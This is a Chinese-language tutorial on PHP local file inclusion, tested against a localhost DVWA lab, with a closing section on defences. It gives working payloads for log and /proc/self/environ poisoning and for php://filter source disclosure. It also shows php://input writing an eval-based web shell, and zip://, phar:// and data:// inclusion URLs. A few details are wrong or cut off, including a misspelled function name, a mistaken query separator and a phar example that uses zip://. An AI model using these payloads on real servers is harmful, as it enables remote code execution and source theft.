一、什么是文件包含?

开发人员将需要重复调用的函数全部写入一个文件中,然后对该文件进行包含,这就是文件包含。这样可以减少代码冗余,降低代码后期维护难度。

PHP的文件包含函数:

  1. require:函数出现错误时,会直接报错并退出程序执行。
  2. requi_once:出错时直接退出,且仅包含一次。
  3. include:函数出现错误时,会抛出一个警告,程序继续执行。
  4. include_once:函数出现错误时,会抛出警告,且仅包含一次。

二、漏洞产生原因

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,使其包含其他恶意文件,导致了执行非预期代码。

三、漏洞利用方式

1、本地文件包含配合日志文件

通过在有传参的地方写上php代码,因为url会将我们的php代码进行编码,所以我们还要在burp里将编码改回来再进行请求

此时,日志文件里就包含了我们的这串php代码,此时我们通过

2、本地文件包含配合/proc/self/environ文件(Linux)

将php代码<?php system($_GET['cmd']);?>添加到user_Agent里,再通过传参?page=/proc/self/environ$cmd=id

3、本地文件包含配合session文件

CVE-2018-12613 phpMyAdmin文件包含漏洞

4、利用php协议进行文件包含

  • file:// -访问本地文件系统
  • http:// -访问http(s)网址
  • ftp:// -访问FTP(s) URLs
  • php:// -访问各个输入/输出流
  • zlib:// -压缩流
  • data:// -数据
  • phar:// -PHP归档

4.1 file://

http://127.0.0.1/DVWA/vulnerabilitie/fi?page=file://C:/Windows/win.ini

4.2 php://filter

主要用来查看源码,直接包含php文件时会被解析,不能看到源码,所以用filter来读取敏感文件,但是需要进行base64加密传输

名称 描述
resource=<要过滤的数据流> 这个参数是必须的,它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 参数可选,可以设定一个或多个过滤器名称,以(/)分隔
write=<写链的筛选列表> 参数可选,可以设定一个或多个过滤器名称,以(/)分隔
< ; 两个链的筛选列表> 任何没有以read=或write=做前缀的筛选器列表会视情况应用于读或写链

例如:http://127.0.0.1/DVWA/vulnerabilitie/fi?page=php://filter/read=convert.base64-encode/resource=include.php

base64解码即可获得php源码

  1. 字符串过滤器
    • string.rot13 -进行rot13转换
    • string.toupper -将字符全部大写
    • string.tolower -将字符全部小写
    • string.strip_tags -去除空字符、HTML和PHP标记后的结果
  2. 转换过滤器
    • convert.base64-encode -base64编码
    • convert.base64-decode -base64解码
    • convert.quoted-printable-encode -quoted-printable编码(也是另一种将二进制进行编码的方案)
    • convert.quoted-printable-decode -quoted-printable编码
    • covert.iconv -实现任意两种编码之间的转换
  3. 压缩过滤器
    • zlib.deflate -压缩过滤器
    • zlib.inflate -解压过滤器
    • bzip2.compress -压缩过滤器
    • bzip2.decompress -解压过滤器
  4. 加密过滤器
    • mcrypt.* - 加密过滤器
    • mdecrypt.* -解密过滤器

4.3 php://input

主要用来接收post数据,将post请求中的数据作为php代码执行

例如:

http://127.0.0.1/DVWA/vulnerabilitie/fi?page=php://input

post请求的数据为:<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST['cmd']);?>");?>

4.4 zip://、bzip2://、zlib://

这三个协议都属于压缩流,可以访问压缩文件中的子文件,压缩文件的路径必须使用绝对路径

格式: zip://[压缩文件绝对路径]#(%23)[压缩文件内的子文件名]

http://127.0.0.1/DVWA/vulnerabilitie/fi?page=zip://C:\Users\86199\Desktop\text.zip%23text.php

text.zip的后缀名不重要,只要是压缩文件即可,改为text.jpg也行

text.php同理,改为txt也可

4.5 phar://

与zip协议类似,但这个可以使用相对路径

格式: phar://[压缩文件绝对/相对路径]/[压缩文件内的子文件名]

http://127.0.0.1/DVWA/vulnerabilitie/fi?page=zip://C:\Users\86199\Desktop\text.zip/text.php

相对路径可以配合文件上传,先上传一个后缀名为 jpg/png 的压缩文件,然后得到文件的路径后可以用相对路径进行访问

4.6 data://

将原本的include的文件流重定向到了用户可控制的输入流中

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

四、文件包含漏洞防御

  1. 尽量不使用动态包含,不是必要情况下将allow_url_includeallow_url_fopen设置为关闭
  2. 对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录(open_basedir
  3. 严格检查用户输入,参数中不允许出现../之类的目录跳转符
  4. 严格检查变量是否初始化
  5. 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行